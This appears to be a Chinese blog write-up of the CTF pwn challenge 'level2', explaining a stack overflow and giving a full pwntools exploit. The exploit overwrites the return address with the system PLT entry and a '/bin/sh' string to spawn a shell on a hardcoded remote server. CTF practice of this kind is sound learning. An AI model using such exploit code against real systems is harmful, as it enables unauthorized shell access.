level2

作者: 常向阳_ | 来源:发表于2019-08-05 17:06 被阅读0次
image.png

0x00 filechecksec(看不到,看不到,看不到)

image.png

0x01 ida查看

image.png
  • 明显的栈溢出
  • 这个题目和之前的不一样,这个里面没有直接system('/bin/sh')之类的函数,所以需要我们构造
  • ida查看字符串和左侧function
    image.png
    image.png
  • 所以直接调用plt_system即可

0x02 完整exp

from pwn import *

local=0
pc='./level2'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 58516]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    rl()
    plt_system_addr = 0x08048320
    bin_sh_addr = 0x0804a024
    payload = 'a'*0x88
    payload += 'bbbb'
    payload += p32(plt_system_addr)
    payload += 'fake'
    payload += p32(bin_sh_addr)
    sl(payload)
    p.interactive()

0x03 结果

image.png

相关文章

  • ajax基础知识

    标准 XMLHttpRequest标准又分为Level1和Level2 Level1 缺点 Level2 改进 兼...

  • 【链接】懂你英语笔记Level1,Level2

    懂你英语笔记Level1,Level2

  • The record of 4.14-16

    busy running after the deadline of Python level2 the big ...

  • 20180717今日剽悍

    今天公交车上学习懂你level2 感觉挺简单的,但是为什么拿不到4颗星星呢?公交车上可以学习简单的level2 ,...

  • 2017.09.05 学习方法

    今天level2刷星突然想到的,虽然level2的复述和读挺简单的,但是其实课文学的并不好,不能看着图片表达出来。...

  • level2学习心得

    五天的level2学习结束了,带着满满的喜悦和收获回家了。还记得八月份上level2一阶时,整个人都是懵的。...

  • javaScript formData 详细使用教程

    formData是ajax2.0(XMLHttpRequest Level2)新提出的接口,利用FormData对...

  • level2

    0x00 file和checksec(看不到,看不到,看不到) 0x01 ida查看 明显的栈溢出 这个题目和之前...

  • level2

    先checksec ,只开了NX IDA分析:栈溢出,而且也可以看到是有system函数的 shift + F12...

  • 2019-02-01

    1. 版本(Level) CSS Level2 ( CSS 2.1 规范) CSS Level3Color Mod...

网友评论

    本文标题:level2

    本文链接:https://www.haomeiwen.com/subject/qramdctx.html